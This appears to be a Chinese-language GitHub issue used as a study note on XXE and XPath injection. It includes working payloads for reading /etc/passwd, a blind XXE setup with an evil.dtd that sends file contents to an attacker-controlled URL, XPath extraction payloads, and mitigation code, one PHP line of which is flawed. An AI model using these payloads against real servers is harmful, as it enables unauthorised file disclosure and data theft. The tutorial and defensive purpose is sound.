Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

XXE & XPath #101

Open
PyxYuYu opened this issue Mar 29, 2017 · 0 comments
Open

XXE & XPath #101

PyxYuYu opened this issue Mar 29, 2017 · 0 comments
Labels

Comments

@PyxYuYu
Copy link
Owner

PyxYuYu commented Mar 29, 2017

It's during our darkest moments that we must focus to see the light.

0x01 XXE

  • XML
    • XML 是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言
    • XML 文档结构包括 XML 声明、DTDDocument Type Definition)文档类型定义(可选)、文档元素
      • DTD 的作用是定义 XML 文档的合法构建模块,DTD 可以在 XML 文档内声明,也可以外部引用
        • 内部声明 DTD
           <!DOCTYPE 根元素 [元素声明]>
        
        • 引用外部 DTD
           <!DOCTYPE 根元素 PBULIC "public_ID" "文件名">
           // 或者
           <!DOCTYPE 根元素 SYSTEM "文件名">
        
        • DTD 实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用
          • 内部声明实体
             <!ENTITY 实体名称 "实体的值">
          
          • 引用外部实体
             <!ENTITY 实体名称 SYSTEM "URI">
             // 或者
             <!ENTITY 实体名称 PBULIC "public_ID" "URI">
          
          • 在解析 XML 时,实体将会被替换成相应的引用内容
             // 包含内部实体的 XML 文档
             <?xml version="1.0" encoding="utf-8"?>
             <!DOCTYPE c [
                 <!ENTITY copyright "Copyright xx.xx.xx">
             ]>
             <c>&copyright;</c>
             
             // 包含外部实体的 XML 文档
             <?xml version="1.0" encoding="utf-8"?>
             <!DOCTYPE c [
                 <!ENTITY copyright SYSTEM "Copyright xx.xx.xx">
             ]>
             <c>&copyright;</c>
          
  • XXE
    • XXE InjectionXML External Entity InjectionXML 外部实体注入攻击
    • 攻击者可以通过 XML 的外部实体来获取服务器中本应被保护的数据
  • XXE 成因
    • XML 解析器解析外部实体时支持多种协议
       libxml2:file、http、ftp
       PHP:file、http、ftp、php、compress.zlib、compress.bzip2、data、glob、phar
       Java:file、http、ftp、https、jar、netdoc、mailto、gopher
       .NET:file、http、ftp、https
    
    • 上面是默认支持的协议,还可以支持其他的扩展协议,比如 PHP 支持的扩展协议
       openssl、zip、ssh2、rar、oggvorbis、expect
    
    • 当允许引用外部实体时,通过恶意构造,利用上面的协议,可以导致任意文件读取、执行系统命令、探测内网端口、攻击内网网站等危害
       // file 协议读取文件
       <?xml version="1.0" encoding="utf-8"?>
       <!DOCTYPE c [
           <!ENTITY file SYSTEM "file:///etc/passwd">
       ]>
       <c>&file;</c>
       
       // 如果读取的文件包含 <、& 等字符时会失败,对于此类情况,可以使用 php://filter 协议,读取 base64 加密后的文件
       <?xml version="1.0" encoding="utf-8"?>
       <!DOCTYPE c [
           <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/ect/issue">
       ]>
       <c>&file;</c>
    
    • 不同解析器可能默认对于外部实体会有不同的处理规则,有些可能不会对外部实体进行解析(PHPxml_parse 就不会解析外部实体)
       PHP:DOM、SimpleXML
       .NET:System.Xml.XmlDocument、System.Xml.XmlReader
    
  • XXE 攻击方式
    • 显式 XXE
      • 攻击者通过正常的回显或报错将外部实体中的内容读取出来
         // file 协议读取文件
         <?xml version="1.0" encoding="utf-8"?>
         <!DOCTYPE c [
             <!ENTITY file SYSTEM "file:///etc/passwd">
         ]>
         <c>&file;</c>
      
    • Blind XXE
      • 服务器没有回显,只能使用 Blind XXE 来构建一条带外数据通道提取数据
      • Blind XXE 主要使用了 DTD 约束中的参数实体和内部定义实体
        • 参数实体:一个只能在 DTD 中定义和使用的实体,一般引用时用 % 作为前缀
        • 内部定义实体:在一个实体中定义的一个实体,即嵌套定义
           <?xml version="1.0" encoding="utf-8"?>
           <!DOCTYPE c [
               <!ENTITY % a "<!ENTITY b 'http://www.xxx.com'>"
          	 %a;
           ]>
           <c>&b;</c>
        
      • Blind XXE 采用嵌套形式建立带外数据通道,利用参数实体将本地内容读出来后,作为外部实体中的 URL 中的参数向其指定服务器发起请求,然后在其指定服务器的日志(Apache 日志)中读出文件的内容(指定服务器即攻击者的服务器)
      • DTD 中使用 % 来定义的参数实体只能在外部子集中使用,或由外部文件定义参数实体,引用到 XML 文件的 DTD 来使用
      • 有些解释器不允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体,所以需要将嵌套的实体声明放在外部文件中
         // 不允许直接使用
         <!ENTITY % file "file:///etc/passwd">
         <!ENTITY % a "<!ENTITY % b SYSTEM 'http://127.0.0.1/?%file;'>">
         %a;
      
         // 放置外部文件中
         <?xml version="1.0" encoding="utf-8"?>
         <!DOCTYPE c [
             <!ENTITY % file SYSTEM "file:///etc/passwd">
             <!ENTITY % a SYSTEM "http://example.com/evil.dtd">
      	   %a;
      	   %b;
         ]>
         <c>&send;</c>
         
         // evil.dtd
         <!ENTITY % b "<!ENTITY send SYSTEM 'http://127.0.0.1/1.php?file=%file;'>">
      
      • 注意三个实体之间的顺序
        • 首先参数实体 a 将外部文件 evil.dtd 引入
        • 之后参数实体 b 嵌套定义了内部实体 send
        • 最后内部定义实体 send 将数据进行转发
        • 如果将内部定义实体 send 改为参数实体的话
           <c>&send;</c>  // 删除
           %send; // %b; 后增加
           
           // evil.dtd
           <!ENTITY % b "<!ENTITY % send SYSTEM 'http://127.0.0.1/1.php?file=%file;'>">
        
      • 其他引入外部实体的方式
         <?xml version="1.0" encoding="utf-8"?>
         <!DOCTYPE c [
             <!ENTITY % a SYSTEM "http://example.com/evil.dtd">
      	   %a;
         ]>
         <c>&file;</c>
         
         // evil.dtd
         <!ENTITY file SYSTEM "file:///etc/passwd">
      
         <?xml version="1.0" encoding="utf-8"?>
         <!DOCTYPE a SYSTEM "http://example.com/evil.dtd">
         <c>&file;</c>
         
         // evil.dtd
         <!ENTITY file SYSTEM "file:///etc/passwd">
      
  • XXE 检测
    • 判断 XXE 是否会被解析
       <?xml version="1.0" encoding="utf-8"?>
       <!DOCTYPE c [
           <!ENTITY a "11111">
       ]>
       <c>&a;</c>
       // 如果 a 显示 11111 说明被解析
    
    • 判断服务器是否支持外部实体
       <?xml version="1.0" encoding="utf-8"?>
       <!DOCTYPE c [
           <!ENTITY % a SYSTEM "http://example.com/evil.dtd">
      	 %a;
       ]>
       // 攻击者查看自己服务器上的日志,查看目标服务器是否发送一条请求 `evil.dtd` 的 `HTTP Request`
    
    • 查看能否回显,可以回显的话,用正常显式方式攻击,不能回显,则用 Blind XXE 方式,引用外部文件
  • XXE 漏洞修复
    • 检查所使用的底层 XML 解析库,默认禁止外部实体的解析
    • 使用第三方应用代码及时升级补丁
    • 过滤用户提交的 XML 数据
    • PHP
       // libxml 库,加载实体前调用
       libxml_disable_entity_loader(true);
       // XMLReader 解析
       $doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET);
       // DOM 解析
       $dom = new DOMDocument();
       $dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);
    
    • Java
       DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
       dbf.setExpandEntityReferences(false);
    
    • Python
       from lxml import etree
       xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
    
0x02 XPath 注入

  • XPath
    • XPath 是一门在 XML 文档中查找信息的语言,可用来在 XML 文档中对元素和属性进行遍历
    • XPath 非常类似对数据库操作的 SQL 语言,或者说 JQuery,它可以方便开发者抓取文档中需要的东西
    • XPath 中有七种类节点类型:
      • 元素
      • 属性
      • 文本
      • 命名空间
      • 处理指令
      • 注释
      • 文档节点(根节点)
    • 路径表达式
      • 节点名称: 选取此节点的所有子节点
      • /: 从根节点选取
      • //: 从匹配选择的当前节点选择文档中的节点,而不考虑它们的位置
      • .: 选取当前节点
      • ..: 选取当前节点的父节点
      • @: 选取属性
      • 例如
         //@user  选取所有名为 user 的属性
      
    • 限定语
      • 用来查找某个特定的节点或者包含某个特定的值的节点,以方括号括起
         //book[price>35]  选取所有 book 元素,且其中的 price 元素的值大于 35
         /bookstore/book[1] 选取属于 bookstore 子元素的第一个 book 元素
         //title[@user] 选取所有拥有名为 user 的属性的 title 元素
         //title[@user='a'] 选取所有 title 元素,且这些元素拥有值为 a 的 user 属性
      
    • 通配符
      • *: 匹配任何元素节点
      • @*: 匹配任何属性节点
      • node(): 匹配任何类型的节点
      • |: 选取若干路径
      • 例如
         /bookstore/*  选取 bookstore 元素的所有子节点
         //*  选取文档中的所有元素
         //title[@*]  选取所有带有属性的 title 元素
         //book/title | //book/price  选取所有 book 元素的 title 和 price 元素
      
  • XPath 注入
    • 利用 XPath 解析器的松散输入和容错特性,能够在 URL、表单或其他信息上附带恶意的 XPath 查询代码,以获得权限信息的访问权并更改这些信息
    • XPath 注入发生在当站点使用用户输入的信息来构造请求以获取 XML 数据,也就是说如果一个网站某应用程序将数据保存在 XML 中,并且对用户的输入没有做限制,攻击者提交了没有经过处理的输入,就插入到 XPath 查询中,即产生 XPath 注入,那么攻击者就可以通过控制查询来获取数据,或者删除数据之类的操作
    • Fuzz 方法
      • 通过错误信息页面进行判断以及查看源码进行分析
      • 判断是否存在注入
         // 报错
         '
         // 字符型,查看页面是否改变
         ' or count(parent::*[position()=1])=0 or 'a'='b
         ' or count(parent::*[position()=1])>0 or 'a'='b
         // 数字型,查看页面是否改变
         1 or count(parent::*[position()=1])=0
         1 or count(parent::*[position()=1])>0
      
      • 所有内容 Payload
         前面闭合|//*|后面闭合
      
      • 前后的闭合都需要自己构造,例如
         ']|//*|//*['
         ')]|//*|//*[('
         
         // 完整的语句
         //a[@b='{$user}']/c[d(e, '{$name}')]/f
         //a[@b='']|//*|//*['']/c[d(e, '{$name}')]/f
         //a[@b='{$user}']/c[d(e, '')]|//*|//*[('')]/f
      
      • 逐字判断 Payload(当不知道任何节点的名称或只知道一部分)
         // 提取父节点的名字,改变位置,判断字符
         'or substring(name(parent::*[position()=1]),1,1)='a
         'or substring(name(parent::*[position()=1]),2,1)='b
         // 提取子节点的名字
         'or substring(//父节点名[1]/*[2],1,1)='p' or 'a'='a
         'or substring(//父节点名[1]/*[2],2,1)='a' or 'a'='a
         // 提取子节点的值
         'or substring(//父节点名[1]/*[2]/text(),1,1)='a' or 'a'='a
         'or substring(//父节点名[1]/*[2]/text(),2,1)='b' or 'a'='a
      
    • 漏洞修复
      • 对提交数据的合法性进行验证,检查提交的数据是否包含特殊字符,对特殊字符进行编码转换或替换,删除敏感字符或字符串
      • 对系统出现的错误信息,与 IE 错误编码信息进行替换,屏蔽系统本身的出错信息
      • 参数化 XPath 查询,将需要构建的 XPath 查询表达式以变量的形式表示,变量不是可以执行的脚本
      • 通过加密算法,对于敏感数据信息和传送过程进行加密
@PyxYuYu PyxYuYu changed the title XXE & XPATH XXE & XPath Apr 1, 2017
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

1 participant